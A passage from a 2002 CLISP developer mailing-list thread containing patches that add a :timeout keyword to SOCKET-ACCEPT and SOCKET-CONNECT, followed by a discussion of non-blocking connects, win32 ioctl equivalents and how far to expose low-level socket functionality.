+    if (connect(fd, addr, addrlen) >= 0)
+      return fd;
+  }
+ #endif
     saving_sock_errno(CLOSESOCKET(fd));
     return INVALID_SOCKET;
   }
-global SOCKET create_client_socket(hostname,port)
-  var const char* hostname;
-  var unsigned int port;
-  {
-    return with_hostname(hostname,(unsigned short)port,&connect_via_ip);
+global SOCKET create_client_socket (const char*hostname, unsigned intport,
+                                    void* timeout) {
+  return with_hostname(hostname,(unsigned short)intport,
+                       &connect_via_ip,timeout);
   }
 
 # ==================== miscellaneous network related stuff ====================
Index: stream.d
===================================================================
RCS file: /cvsroot/clisp/clisp/src/stream.d,v
retrieving revision 1.280
diff -u -w -b -r1.280 stream.d
--- stream.d	23 May 2002 19:26:59 -0000	1.280
+++ stream.d	26 May 2002 20:08:44 -0000
@@ -14730,15 +14730,80 @@
   skipSTACK(1);
 }
 
+# parse timeout argument
+# sec = posfixnum or (SEC . USEC) or (SEC USEC) or float or ratio
+#       or nil/unbound
+# usec = posfixnum or nil/unbound
+# can trigger GC
+local struct timeval * sec_usec (object sec, object usec, struct timeval *tv) {
+  if (eq(sec,unbound) || eq(sec,NIL)) {
+    return NULL;
+  } else if (consp(sec)) {
+    if (!nullp(Cdr(sec)) && eq(usec,unbound))
+      usec = (consp(Cdr(sec)) ? Car(Cdr(sec)) : Cdr(sec));
+    sec = Car(sec);
+  } else if (floatp(sec) || ratiop(sec)) { # sec = sec mod 1
+    pushSTACK(sec); funcall(L(floor),1);
+    sec = value1;
+    if (eq(usec,unbound)) { # usec = round(sec*1000000)
+      pushSTACK(subr_self); # save subr_self
+      pushSTACK(value2); pushSTACK(fixnum(1000000)); funcall(L(mal),2);
+      pushSTACK(value1); funcall(L(round),1);
+      subr_self = popSTACK(); # restore subr_self
+      usec = value1;
+    }
+  }
+  if (!posfixnump(sec))
+    fehler_posfixnum(sec);
+  tv->tv_sec = posfixnum_to_L(sec);
+  if (eq(usec,unbound) || eq(usec,NIL)) {
+    tv->tv_usec = 0;
+  } else {
+    if (!posfixnump(usec))
+      fehler_posfixnum(usec);
+    tv->tv_usec = posfixnum_to_L(usec);
+  }
+  return tv;
+}
+
+#if defined(HAVE_SELECT) || defined(WIN32_NATIVE)
+# wait for the socket server to have a connection ready
+# returns true iff socket_accept will return immediately
+local bool socket_server_wait (object sose, struct timeval *tvp) {
+  var SOCKET handle = TheSocket(TheSocketServer(sose)->socket_handle);
+ #if defined(WIN32_NATIVE)
+  return interruptible_wait(handle,tvp);
+ #else
+ restart_select:
+  begin_system_call();
+  var int ret;
+  var fd_set handle_set;
+  FD_ZERO(&handle_set); FD_SET(handle,&handle_set);
+  ret = select(FD_SETSIZE,&handle_set,NULL,NULL,tvp);
+  if (ret < 0) {
+    if (sock_errno_is(EINTR)) {
+      end_system_call(); goto restart_select;
+    }
+    SOCK_error();
+  }
+  end_system_call();
+  return (ret != 0);
+ #endif # WIN32_NATIVE
+}
+#endif
+
 extern SOCKET accept_connection (SOCKET socket_handle);
 
-# (SOCKET-ACCEPT socket-server [:element-type] [:external-format] [:buffered])
-LISPFUN(socket_accept,1,0,norest,key,3,
-        (kw(element_type),kw(external_format),kw(buffered)) ) {
+# (SOCKET-ACCEPT socket-server [:element-type] [:external-format] [:buffered]
+#                [:timeout])
+LISPFUN(socket_accept,1,0,norest,key,4,
+        (kw(element_type),kw(external_format),kw(buffered),kw(timeout)) ) {
   var SOCKET sock;
   var decoded_el_t eltype;
   var signean buffered;
   var SOCKET handle;
+  var struct timeval tv;
+  var struct timeval *tvp = sec_usec(popSTACK(),unbound,&tv);
 
   test_socket_server(STACK_3,true);
 
@@ -14753,6 +14818,12 @@
   # Check and canonicalize the :EXTERNAL-FORMAT argument:
   STACK_1 = test_external_format_arg(STACK_1);
 
+ #if defined(HAVE_SELECT) || defined(WIN32_NATIVE)
+  if (tvp && !socket_server_wait(STACK_3,tvp)) { # handle :TIMEOUT
+    skipSTACK(4); sock_set_errno(ETIMEDOUT); OS_error();
+  }
+ #endif
+
   sock = TheSocket(TheSocketServer(STACK_3)->socket_handle);
   begin_system_call();
   handle = accept_connection (sock);
@@ -14766,52 +14837,13 @@
   skipSTACK(4);
 }
 
-local struct timeval * sec_usec (object sec, object usec, struct timeval *tv) {
-  if (eq(sec,unbound) || eq(sec,NIL)) {
-    return NULL;
-  } else {
-    if (!posfixnump(sec))
-      fehler_posfixnum(sec);
-    tv->tv_sec = posfixnum_to_L(sec);
-    if (eq(usec,unbound) || eq(usec,NIL)) {
-      tv->tv_usec = 0;
-    } else {
-      if (!posfixnump(usec))
-        fehler_posfixnum(usec);
-      tv->tv_usec = posfixnum_to_L(usec);
-    }
-    return tv;
-  }
-}
-
 # (SOCKET-WAIT socket-server [seconds [microseconds]])
 LISPFUN(socket_wait,1,2,norest,nokey,0,NIL) {
+  test_socket_server(STACK_2,true);
  #if defined(HAVE_SELECT) || defined(WIN32_NATIVE)
-  var SOCKET handle;
   var struct timeval timeout;
   var struct timeval * timeout_ptr = sec_usec(STACK_1,STACK_0,&timeout);
-  test_socket_server(STACK_2,true);
-  handle = TheSocket(TheSocketServer(STACK_2)->socket_handle);
- #if defined(WIN32_NATIVE)
-  value1 = interruptible_wait(handle,timeout_ptr) ? T : NIL;
- #else
- restart_select:
-  begin_system_call();
-  {
-    var int ret;
-    var fd_set handle_set;
-    FD_ZERO(&handle_set); FD_SET(handle,&handle_set);
-    ret = select(FD_SETSIZE,&handle_set,NULL,NULL,timeout_ptr);
-    if (ret < 0) {
-      if (sock_errno_is(EINTR)) {
-        end_system_call(); goto restart_select;
-      }
-      SOCK_error();
-    }
-    end_system_call();
-    value1 = (ret == 0) ? NIL : T;
-  }
- #endif # WIN32_NATIVE
+  value1 = socket_server_wait(STACK_2,timeout_ptr) ? T : NIL;
  #else
   value1 = NIL;
  #endif
@@ -14819,15 +14851,19 @@
   skipSTACK(3);
 }
 
-extern SOCKET create_client_socket (const char* host, unsigned int port);
+extern SOCKET create_client_socket (const char* host, unsigned int port,
+                                    void* timeout);
 
-# (SOCKET-CONNECT port [host] [:element-type] [:external-format] [:buffered])
+# (SOCKET-CONNECT port [host] [:element-type] [:external-format] [:buffered]
+#                 [:timeout])
 LISPFUN(socket_connect,1,1,norest,key,3,
-        (kw(element_type),kw(external_format),kw(buffered)) ) {
+        (kw(element_type),kw(external_format),kw(buffered),kw(timeout)) ) {
   var char *hostname;
   var decoded_el_t eltype;
   var signean buffered;
   var SOCKET handle;
+  var struct timeval tv;
+  var struct timeval *tvp = sec_usec(popSTACK(),unbound,&tv);
 
   if (!posfixnump(STACK_4))
     fehler_posfixnum(STACK_4);
@@ -14851,7 +14887,7 @@
     fehler_string(STACK_3);
 
   begin_system_call();
-  handle = create_client_socket(hostname,posfixnum_to_L(STACK_4));
+  handle = create_client_socket(hostname,posfixnum_to_L(STACK_4),tvp);
   if (handle == INVALID_SOCKET) { SOCK_error(); }
   end_system_call();
   value1 = make_socket_stream(handle,&eltype,buffered,
Index: subr.d
===================================================================
RCS file: /cvsroot/clisp/clisp/src/subr.d,v
retrieving revision 1.92
diff -u -w -b -r1.92 subr.d
--- subr.d	21 May 2002 14:57:05 -0000	1.92
+++ subr.d	26 May 2002 20:08:45 -0000
@@ -964,12 +964,12 @@
 LISPFUN(socket_server,0,1,norest,nokey,0,NIL)
 LISPFUNN(socket_server_port,1)
 LISPFUNN(socket_server_host,1)
-LISPFUN(socket_accept,1,0,norest,key,3,\
-        (kw(element_type),kw(external_format),kw(buffered)) )
+LISPFUN(socket_accept,1,0,norest,key,4,\
+        (kw(element_type),kw(external_format),kw(buffered),kw(timeout)) )
 LISPFUN(socket_wait,1,2,norest,nokey,0,NIL)
 LISPFUN(socket_status,1,2,norest,nokey,0,NIL)
-LISPFUN(socket_connect,1,1,norest,key,3,\
-        (kw(element_type),kw(external_format),kw(buffered)) )
+LISPFUN(socket_connect,1,1,norest,key,4,\
+        (kw(element_type),kw(external_format),kw(buffered),kw(timeout)) )
 LISPFUNN(socket_stream_port,1)
 LISPFUNN(socket_stream_host,1)
 LISPFUN(socket_stream_peer,1,1,norest,nokey,0,NIL)
Index: subrkw.d
===================================================================
RCS file: /cvsroot/clisp/clisp/src/subrkw.d,v
retrieving revision 1.22
diff -u -w -b -r1.22 subrkw.d
--- subrkw.d	2 Apr 2002 21:03:42 -0000	1.22
+++ subrkw.d	26 May 2002 20:08:46 -0000
@@ -167,7 +167,7 @@
 #endif
 #endif
 #ifdef SOCKET_STREAMS
-v(3, (kw(element_type),kw(external_format),kw(buffered)) )
+v(4, (kw(element_type),kw(external_format),kw(buffered),kw(timeout)) )
 s(socket_accept)
 s(socket_connect)
 #endif
Index: constsym.d
===================================================================
RCS file: /cvsroot/clisp/clisp/src/constsym.d,v
retrieving revision 1.144
diff -u -w -b -r1.144 constsym.d
--- constsym.d	21 May 2002 14:57:06 -0000	1.144
+++ constsym.d	26 May 2002 20:08:46 -0000
@@ -888,6 +888,7 @@
 LISPSYM(socket_stream_host,"SOCKET-STREAM-HOST",socket)
 LISPSYM(socket_stream_peer,"SOCKET-STREAM-PEER",socket)
 LISPSYM(socket_stream_local,"SOCKET-STREAM-LOCAL",socket)
+LISPSYM(Ktimeout,"TIMEOUT",keyword)
 #ifdef HAVE_SHUTDOWN
 LISPSYM(socket_stream_shutdown,"SOCKET-STREAM-SHUTDOWN",socket)
 #endif

--=-=-=--


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Sam Steingold <sds@gnu.org> writes:

> basically, I added the :timeout keyword arg to SOCKET-ACCEPT and
> SOCKET-CONNECT so that
> 
>   (socket-accept s :timeout x) ==
> 
>   (if (socket-wait s x)
>       (socket-accept s)
>       (error 'timeout))

Given SOCKET-STATUS, this isn't really necessary for SOCKET-ACCEPT.
Doesn't hurt, though.

> and similarly for SOCKET-CONNECT.
> 
> Todd, this is not what you want, I know, you prefer the UNIX way of
> returning NIL instead of signaling an error.  The lisp way (as I
> understand it) is to return a valid object or to signal an error.
> 
> You can get the behavior you want using IGNORE-ERRORS, while a careless
> user might get stuck with SOCKET-CONNECT returning NIL here:
> 
>   (let ((s (socket-connect 80 "www.foo.com" :timeout 1)))
>     (format s "GET /~2%")
>     (read-all s))
> 
> if S is NIL, format will succeed, while READ-ALL will probably block
> trying to read from *STANDARD-INPUT*.

You've misunderstood what I want.  I have no problem with
(socket-connect ... :timeout N) signaling an error if the timeout
expires, and I agree that's the right thing.  But what I want is
something different, namely some form of socket-connect which doesn't
block, even in the success cases.  The only way to do that is to have
the C socket-connect not handle the timeout, but to always return a
stream (which may not be fully connected yet).  Then in lisp, you can
either do (socket-status (stream . output) N) and signal an error if
the stream isn't fully connected within your timeout, or you can put
the not-fully-connected stream into your state machine, if you happen
to be trying to write a non-blocking TCP server and you don't have
threads.

Either way, the C socket-connect always either returns a valid object
or signals an error.  If a user were to try to use the not fully
connected stream, they'd just end up blocking at that point.  But you
wouldn't expose users to this by default.  Since the non-blocking
semantics are different from the existing behavior, I was suggesting
that the C SOCKET-CONNECT be renamed to SOCKET-CONNECT%, and then
write the normal SOCKET-CONNECT in lisp.  That way users would see the
behavior you're talking about, but people can still get a true
non-blocking socket-connect if they want it.

Does that make any more sense?


Todd


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Hello,

Monday, May 27, 2002, 9:48:03 AM, you wrote:

Todd> You've misunderstood what I want.  I have no problem with
Todd> (socket-connect ... :timeout N) signaling an error if the timeout
Todd> expires, and I agree that's the right thing.  But what I want is
Todd> something different, namely some form of socket-connect which doesn't
Todd> block, even in the success cases.

By analogy with socket-wait it can be (socket-connect .. :timeout 0)
(but socket-wait has &optional, not &keyword timeout).

But Sam's patch turns off blocking - doesn't it result in wrong
recv/read/send/write handling ?

BTW I believe, Berkeley guys wasn't so stupid to not implement TCP/IP
on existing file API if it was possible. I mean, I think, if we
working with sockets as with streams we should be ready wor some
lack of functionality. OTOH that lack of functionality can result in
big gain in generality thus speed of development, maintainability (at
Lisp layer) etc.

-- 
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Arseny Slobodjuck <ampy@ich.dvo.ru> writes:

> Hello,
> 
> Monday, May 27, 2002, 9:48:03 AM, you wrote:
> 
> Todd> You've misunderstood what I want.  I have no problem with
> Todd> (socket-connect ... :timeout N) signaling an error if the timeout
> Todd> expires, and I agree that's the right thing.  But what I want is
> Todd> something different, namely some form of socket-connect which doesn't
> Todd> block, even in the success cases.
> 
> By analogy with socket-wait it can be (socket-connect .. :timeout 0)
> (but socket-wait has &optional, not &keyword timeout).

Correct me if I'm wrong, but using socket-connect with :timeout 0 will
(virtually) always signal an error, since you'll never get connected
instantly.  (Perhaps you would on loopback.)  That is not what I want.

> But Sam's patch turns off blocking - doesn't it result in wrong
> recv/read/send/write handling ?

If it doesn't turn blocking back on, which it seems it doesn't, then
yes, that's a problem that needs to be fixed regardless.

> BTW I believe, Berkeley guys wasn't so stupid to not implement TCP/IP
> on existing file API if it was possible. I mean, I think, if we
> working with sockets as with streams we should be ready wor some
> lack of functionality. OTOH that lack of functionality can result in
> big gain in generality thus speed of development, maintainability (at
> Lisp layer) etc.

The flip side of that is that they give you all those socket options,
non-blocking handles, etc., if you didn't actually _need_ them
sometimes.  I have no problem with the normal interfaces in clisp
picking sane defaults for that stuff.  I do have a problem with the
fact that there's no way to workaround them without completely
abandoning the provided interfaces, and starting from scratch with
linux:socket, linux:connect, etc.


Todd


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Hello Sam,

Monday, May 27, 2002, 7:16:21 AM, you wrote:

Sam> Specifically win32: what's the MS-way to do ioctl/FIONBIO?
They call it WSPIoctl. IIUC it should be

errorp = WSPIoctl(socket,FIONBIO,&unsigned_long_nonblockp,
  sizeof(unsigned_long_nonblockp),NULL,0,NULL,NULL,NULL,NULL,&errno_returned);

But it needs experimenting.

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Hello Todd,

Monday, May 27, 2002, 3:08:26 PM, you wrote:

>> Todd> You've misunderstood what I want.  I have no problem with
>> Todd> (socket-connect ... :timeout N) signaling an error if the timeout
>> Todd> expires, and I agree that's the right thing.  But what I want is
>> Todd> something different, namely some form of socket-connect which doesn't
>> Todd> block, even in the success cases.
>> 
>> By analogy with socket-wait it can be (socket-connect .. :timeout 0)
>> (but socket-wait has &optional, not &keyword timeout).

Todd> Correct me if I'm wrong, but using socket-connect with :timeout 0 will
Todd> (virtually) always signal an error, since you'll never get connected
Todd> instantly.  (Perhaps you would on loopback.)  That is not what I want.
Yes, you're right. But socket-wait doesn't return an error - it polls (and
it's convenient). What if we'll have analog of socket-wait but for client
side - call it, say connect-wait or wait-connect or client-wait... It will
turn blocking off, starts connecting (if connection wasn't started yet),
waits checking whether connection ready and returns nil or t depending on
result. Then socket-connect (when called) checks the status, turns on the
blocking and signals an error or returns stream in full harmony with Lisp
spirit balancing Client and Server sides of Connection... How do you
like it ?

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Arseny Slobodjuck <ampy@ich.dvo.ru> writes:

> Todd> Correct me if I'm wrong, but using socket-connect with :timeout 0 will
> Todd> (virtually) always signal an error, since you'll never get connected
> Todd> instantly.  (Perhaps you would on loopback.)  That is not what I want.
> Yes, you're right. But socket-wait doesn't return an error - it polls (and
> it's convenient). What if we'll have analog of socket-wait but for client
> side - call it, say connect-wait or wait-connect or client-wait... It will
> turn blocking off, starts connecting (if connection wasn't started yet),
> waits checking whether connection ready and returns nil or t depending on
> result. Then socket-connect (when called) checks the status, turns on the
> blocking and signals an error or returns stream in full harmony with Lisp
> spirit balancing Client and Server sides of Connection... How do you
> like it ?

Well, I'm not very clear on how your proposal would work.  What would
you pass to SOCKET-CONNECT to indicate that you want to use whatever
it is you get from CLIENT-WAIT?  And I don't really want a separate
function for the waiting.  I want to be able to take <whatever it is>
and use in with socket-status, along with all the other open
connections my server is processing.

What about the idea of having a SOCKET-CONNECT% didn't you like?

I don't suppose it makes sense to re-suggest the stuff in:
http://www.geocrawler.com/archives/3/1124/2002/1/100/7517822/ does it?
Sam already shot that down, but it's another way of dealing with this,
as well as providing UDP sockets, unix domain sockets, etc.  To tell
the truth, I've already implemented most of that locally.  It needs
some refinement, but works just fine.


Todd


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> * In message <m3vg99mwda.fsf@jetcar.qnz.org>
> * On the subject of "Re: Re[4]: [clisp-list] socket-connect's timeout"
> * Sent on 27 May 2002 11:41:21 -0400
> * Honorable Todd Sabin <tsabin@optonline.net> writes:
>
> What about the idea of having a SOCKET-CONNECT% didn't you like?

KISS - keep it simple.

first, this is not really necessary.
if we really will introduce the "half-baked streams" (i.e., streams that
will start any i/o operation with a connect() syscall), they can be
created when the timeout is 0 (i.e. when otherwise we are guaranteed to
get an error).

second, I am not sure these "half-baked streams" are a good isea.
what do you need them for?

> I don't suppose it makes sense to re-suggest the stuff in:
> http://www.geocrawler.com/archives/3/1124/2002/1/100/7517822/ does it?

here is the problem.
I _know_ what you want: you want, basically, bindings/linuxlibc6 in
CLISP at all times on all platforms (this is actually what I wanted when
I added --with-export-syscalls).  Therefore anything short of that will
not satisfy you, and a lot of that will not be portable (even across
unixes) and will not work too well with the traditional Lisp paradigms,
therefore this SOCKET-CONNECT% (which should actually be
%SOCKET-CONNECT! :-) will not be enough for you and will be too much
for "lisp purists" :-(

> Sam already shot that down, but it's another way of dealing with this,
> as well as providing UDP sockets, unix domain sockets, etc.  To tell
> the truth, I've already implemented most of that locally.  It needs
> some refinement, but works just fine.

good.
first, wrap it into `#ifdef EXPORT_SYSCALLS'.
second, please do try to go a step up from bindings/linuxlibc6: a lot
of stuff here can be unified in one function (e.g., FILE-STAT unifies
lstat() and fstat()).
third, provide a way to get back into the Lisp world, i.e., something
like `sys:make-fd-stream' in CMUCL to convert a socket to a stream.
(BTW, since the word `socket' is already overused, please call your new
type `handle').

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> * In message <682923854.20020527220057@ich.dvo.ru>
> * On the subject of "Re[2]: [clisp-list] socket-connect's timeout"
> * Sent on Mon, 27 May 2002 22:00:57 +1000
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> Monday, May 27, 2002, 7:16:21 AM, you wrote:
> 
> Sam> Specifically win32: what's the MS-way to do ioctl/FIONBIO?
> They call it WSPIoctl. IIUC it should be
> 
> errorp = WSPIoctl(socket,FIONBIO,&unsigned_long_nonblockp,
>   sizeof(unsigned_long_nonblockp),NULL,0,NULL,NULL,NULL,NULL,&errno_returned);
> 
> But it needs experimenting.

great!  please make win32.d and win32aux.d export a non-interruptible
ioctl, just like unix.d and unixaux.d do.

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Hello Sam,

Tuesday, May 28, 2002, 2:31:47 AM, you wrote:

>> Sam> Specifically win32: what's the MS-way to do ioctl/FIONBIO?
>> They call it WSPIoctl. IIUC it should be
>> 
>> errorp = WSPIoctl(socket,FIONBIO,&unsigned_long_nonblockp,
>>   sizeof(unsigned_long_nonblockp),NULL,0,NULL,NULL,NULL,NULL,&errno_returned);
>> But it needs experimenting.

Sam> great!  please make win32.d and win32aux.d export a non-interruptible
Sam> ioctl, just like unix.d and unixaux.d do.
Ok, in a day or two.

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Date: Mon May 27 15:24:02 2002
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Hello Todd,

Tuesday, May 28, 2002, 1:41:21 AM, you wrote:

>> Todd> Correct me if I'm wrong, but using socket-connect with :timeout 0 will
>> Todd> (virtually) always signal an error, since you'll never get connected
>> Todd> instantly.  (Perhaps you would on loopback.)  That is not what I want.
>> Yes, you're right. But socket-wait doesn't return an error - it polls (and
>> it's convenient). What if we'll have analog of socket-wait but for client
>> side - call it, say connect-wait or wait-connect or client-wait... It will
>> turn blocking off, starts connecting (if connection wasn't started yet),
>> waits checking whether connection ready and returns nil or t depending on
>> result. Then socket-connect (when called) checks the status, turns on the
>> blocking and signals an error or returns stream in full harmony with Lisp
>> spirit balancing Client and Server sides of Connection... How do you
>> like it ?

Todd> Well, I'm not very clear on how your proposal would work.  What would
Todd> you pass to SOCKET-CONNECT to indicate that you want to use whatever
Todd> it is you get from CLIENT-WAIT?
You're right again. Then we need a CLIENT-SOCKET datatype analogous to
SERVER-SOCKET and initializer for it (taking port and host parameters).
Then initializer starts connection, CLIENT-WAIT waits or polls and
CLIENT-CONNECT creates the stream or throws an error.

Todd> What about the idea of having a SOCKET-CONNECT% didn't you like?
Think about it as about your half-connected streams splitted into
half-connected part (CLIENT-SOCKET) and connected SOCKET-STREAM.
That's just in more agreement with things existing before (as far I can
see).

Todd> I don't suppose it makes sense to re-suggest the stuff in:
Todd> http://www.geocrawler.com/archives/3/1124/2002/1/100/7517822/ does it?
I think those people who don't want to know about blocking, UDP
sockets, ioctl etc have right to it. So let advanced interface exists,
but if it hurts basic interface - maybe make it separate from SOCKET: ?

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Sam Steingold <sds@gnu.org> writes:
> > What about the idea of having a SOCKET-CONNECT% didn't you like?
> 
> KISS - keep it simple.
> 
> first, this is not really necessary.
> if we really will introduce the "half-baked streams" (i.e., streams that
> will start any i/o operation with a connect() syscall), 

I think you may have misunderstood again.  They wouldn't start any i/o
with a connect call.  The connect call would already have been made,
but in non-blocking mode.  If you were to try to use the socket/stream
without waiting (via SOCKET-STATUS) for the connect to finish, then it
would just block at that point.  There'd be no need to modify any of
the current read/write paths.

>                                                          they can be
> created when the timeout is 0 (i.e. when otherwise we are guaranteed to
> get an error).

This would work for me.

> second, I am not sure these "half-baked streams" are a good isea.
> what do you need them for?

I've already explained several times, but I'll try again.  Imagine
you're writing a proxy server.  You accept connections from clients,
and in the process of servicing them, you have to open connections to
the resources they're requesting.  Unless you consider it acceptable
for your proxy to be totally non-responsive for large periods of time,
you've got to have a non-blocking connect.  The only representation in
clisp for a socket connection is a socket-stream.  Therefore, you need
a non-blocking way of getting a socket-stream which you can then use
with socket-status.  Is that clear enough?

> > I don't suppose it makes sense to re-suggest the stuff in:
> > http://www.geocrawler.com/archives/3/1124/2002/1/100/7517822/ does it?
> 
> here is the problem.
> I _know_ what you want: you want, basically, bindings/linuxlibc6 in
> CLISP at all times on all platforms (this is actually what I wanted when
> I added --with-export-syscalls).  Therefore anything short of that will
> not satisfy you, and a lot of that will not be portable (even across
> unixes) and will not work too well with the traditional Lisp paradigms,

Please stop assuming you know what I want.  What I'm saying in that
email is that I want _sockets_, not all of linuxlibc6, on all
platforms.  Are there any clisp-supported platforms that don't
support, say, UDP sockets?  If not, why not make them standard in
clisp?  Why should people be forced to resort to FFI?

I think there is a basic set of socket functionality which is
available on all platforms (socket, bind, listen, accept, connect,
recvfrom, sendto, e.g.).  And that providing that, and then building
higher level stuff on top of it would provide people with far more
functionality and options than they currently have.  Do you disagree
with the feasability of that?  If so, are there specific problems you
know of?

> > Sam already shot that down, but it's another way of dealing with this,
> > as well as providing UDP sockets, unix domain sockets, etc.  To tell
> > the truth, I've already implemented most of that locally.  It needs
> > some refinement, but works just fine.
> 
> good.
> first, wrap it into `#ifdef EXPORT_SYSCALLS'.

I think #ifdef FULL_SOCKETS or something would be more appropriate.

> second, please do try to go a step up from bindings/linuxlibc6: a lot
> of stuff here can be unified in one function (e.g., FILE-STAT unifies
> lstat() and fstat()).

As I said, this is a non-issue for me.

> third, provide a way to get back into the Lisp world, i.e., something
> like `sys:make-fd-stream' in CMUCL to convert a socket to a stream.

Yes, this is really the crux of the problem.  There's currently no way
to get back into the normal lisp world.  What I did for now was to
expose make_socket_stream as MAKE-SOCKET-STREAM% (should be %MAKE...).
If you agree that (or something similar) is necessary, and if you
agree that the basic socket functionality can be exposed portably
(though perhaps you don't), then you're 95% of the way to what I was
suggesting in that email.  At least, maybe you understand where I'm
coming from now?

E.g., given the above, I wouldn't care about clisp not providing the
non-blocking connect, because I could easily add it myself at the lisp
layer.  And the same would be true of lots of other socket
functionality.


Todd


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Arseny Slobodjuck <ampy@ich.dvo.ru> writes:

> Hello Todd,
> 
> Tuesday, May 28, 2002, 1:41:21 AM, you wrote:
> 
> >> Todd> Correct me if I'm wrong, but using socket-connect with :timeout 0 will
> >> Todd> (virtually) always signal an error, since you'll never get connected
> >> Todd> instantly.  (Perhaps you would on loopback.)  That is not what I want.
> >> Yes, you're right. But socket-wait doesn't return an error - it polls (and
> >> it's convenient). What if we'll have analog of socket-wait but for client
> >> side - call it, say connect-wait or wait-connect or client-wait... It will
> >> turn blocking off, starts connecting (if connection wasn't started yet),
> >> waits checking whether connection ready and returns nil or t depending on
> >> result. Then socket-connect (when called) checks the status, turns on the
> >> blocking and signals an error or returns stream in full harmony with Lisp
> >> spirit balancing Client and Server sides of Connection... How do you
> >> like it ?
> 
> Todd> Well, I'm not very clear on how your proposal would work.  What would
> Todd> you pass to SOCKET-CONNECT to indicate that you want to use whatever
> Todd> it is you get from CLIENT-WAIT?
> You're right again. Then we need a CLIENT-SOCKET datatype analogous to
> SERVER-SOCKET and initializer for it (taking port and host parameters).
> Then initializer starts connection, CLIENT-WAIT waits or polls and
> CLIENT-CONNECT creates the stream or throws an error.
> 
> Todd> What about the idea of having a SOCKET-CONNECT% didn't you like?
> Think about it as about your half-connected streams splitted into
> half-connected part (CLIENT-SOCKET) and connected SOCKET-STREAM.
> That's just in more agreement with things existing before (as far I can
> see).

Ah.  This is actually extremely close to what I mention in the email
referenced below.  Your CLIENT-SOCKET would just be a normal SOCKET,
and what you are calling CLIENT-CONNECT would be more like a
MAKE-SOCKET-STREAM.  I.e., something that takes a socket and makes a
stream from it.

> Todd> I don't suppose it makes sense to re-suggest the stuff in:
> Todd> http://www.geocrawler.com/archives/3/1124/2002/1/100/7517822/ does it?
> I think those people who don't want to know about blocking, UDP
> sockets, ioctl etc have right to it. So let advanced interface exists,
> but if it hurts basic interface - maybe make it separate from SOCKET: ?

I don't understand why you think this would force complexity on people
who don't want it.  If you want to keep using the high level stuff
that's there now, you can.  People who want to use the current stuff
aren't forced to look at the C implementation, are they?  All I'm
saying is to move some of the C code to lisp.  But it'd still be
"implementation details" people can ignore if they want.


Todd


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> * In message <m3r8jwmei1.fsf@jetcar.qnz.org>
> * On the subject of "Re: Re[4]: [clisp-list] socket-connect's timeout"
> * Sent on 28 May 2002 12:19:34 -0400
> * Honorable Todd Sabin <tsabin@optonline.net> writes:
>
> Sam Steingold <sds@gnu.org> writes:
> > > What about the idea of having a SOCKET-CONNECT% didn't you like?
> > 
> > KISS - keep it simple.
> > 
> > first, this is not really necessary.
> > if we really will introduce the "half-baked streams" (i.e., streams that
> > will start any i/o operation with a connect() syscall), 
> 
> They wouldn't start any i/o with a connect call.  The connect call
> would already have been made, but in non-blocking mode.

are you saying that the second connect() call in connect_via_ip() is
wrong?  why didn't you say that?!

> If you were to try to use the socket/stream without waiting (via
> SOCKET-STATUS) for the connect to finish, then it would just block at
> that point.  There'd be no need to modify any of the current
> read/write paths.

when do I put the socket back into the blocking mode?
right after connect() but before the first i/o operation?

> >                                                          they can be
> > created when the timeout is 0 (i.e. when otherwise we are guaranteed to
> > get an error).
> 
> This would work for me.

you got it - try the appended patch with the current CVS
(preferably _before_ replying to this message :-).
please comment on the code - you know more about TCP/IP than I do.

> > > I don't suppose it makes sense to re-suggest the stuff in:
> > > http://www.geocrawler.com/archives/3/1124/2002/1/100/7517822/ does it?
> > 
> > here is the problem.
> > I _know_ what you want: you want, basically, bindings/linuxlibc6 in
> > CLISP at all times on all platforms (this is actually what I wanted when
> > I added --with-export-syscalls).  Therefore anything short of that will
> > not satisfy you, and a lot of that will not be portable (even across
> > unixes) and will not work too well with the traditional Lisp paradigms,
> 
> Please stop assuming you know what I want.  What I'm saying in that
> email is that I want _sockets_, not all of linuxlibc6, on all
> platforms.  Are there any clisp-supported platforms that don't
> support, say, UDP sockets?  If not, why not make them standard in
> clisp?  Why should people be forced to resort to FFI?

so I exaggerated a bit.  you only want sockets.  fine.

BTW, does a stream based on a UDP socket make sense?
if yes, could we make it an option for socket-connect and socket-accept?

> I think there is a basic set of socket functionality which is
> available on all platforms (socket, bind, listen, accept, connect,
> recvfrom, sendto, e.g.).  And that providing that, and then building
> higher level stuff on top of it would provide people with far more
> functionality and options than they currently have.  Do you disagree
> with the feasability of that?  If so, are there specific problems you
> know of?

win32.
will your code work _the same way_ on all Unixes and on w32?

> > first, wrap it into `#ifdef EXPORT_SYSCALLS'.
> I think #ifdef FULL_SOCKETS or something would be more appropriate.

EXPORT_SYSCALLS corresponds to a configure option already.

> > third, provide a way to get back into the Lisp world, i.e., something
> > like `sys:make-fd-stream' in CMUCL to convert a socket to a stream.
> 
> Yes, this is really the crux of the problem.  There's currently no way
> to get back into the normal lisp world.  What I did for now was to
> expose make_socket_stream as MAKE-SOCKET-STREAM% (should be %MAKE...).
> If you agree that (or something similar) is necessary, and if you
> agree that the basic socket functionality can be exposed portably
> (though perhaps you don't), then you're 95% of the way to what I was
> suggesting in that email.  At least, maybe you understand where I'm
> coming from now?

okay - send a patch doing what you want.
it should work both on UNIX and win32.

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--- socket.d.~1.59.~	Tue May 28 04:11:10 2002
+++ socket.d	Tue May 28 13:03:18 2002
@@ -823,6 +823,8 @@
     return fd;
  #ifdef FIONBIO
   if (sock_errno_is(EINPROGRESS)) {
+    var struct timeval *tv = (struct timeval*)timeout;
+    if (tv==NULL || tv->tv_sec!=0 || tv->tv_usec!=0) { # wait
    restart_select:
     var fd_set handle_set;
     FD_ZERO(&handle_set); FD_SET(fd,&handle_set);
@@ -836,8 +838,8 @@
       CLOSESOCKET(fd); errno = ETIMEDOUT;
       return INVALID_SOCKET;
     }
-    if (connect(fd, addr, addrlen) >= 0) {
-      # connected - restore blocking IO
+    }
+    { # connected - restore blocking IO
       var int non_blocking_io = 0;
       if (ioctl(fd,FIONBIO,&non_blocking_io) == 0)
         return fd;



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> * In message <m3n0ukmdvg.fsf@jetcar.qnz.org>
> * On the subject of "Re: Re[6]: [clisp-list] socket-connect's timeout"
> * Sent on 28 May 2002 12:33:07 -0400
> * Honorable Todd Sabin <tsabin@optonline.net> writes:
>
> > Todd> I don't suppose it makes sense to re-suggest the stuff in:
> > Todd> http://www.geocrawler.com/archives/3/1124/2002/1/100/7517822/ does it?
> > I think those people who don't want to know about blocking, UDP
> > sockets, ioctl etc have right to it. So let advanced interface exists,
> > but if it hurts basic interface - maybe make it separate from SOCKET: ?
> 
> I don't understand why you think this would force complexity on people
> who don't want it.  If you want to keep using the high level stuff
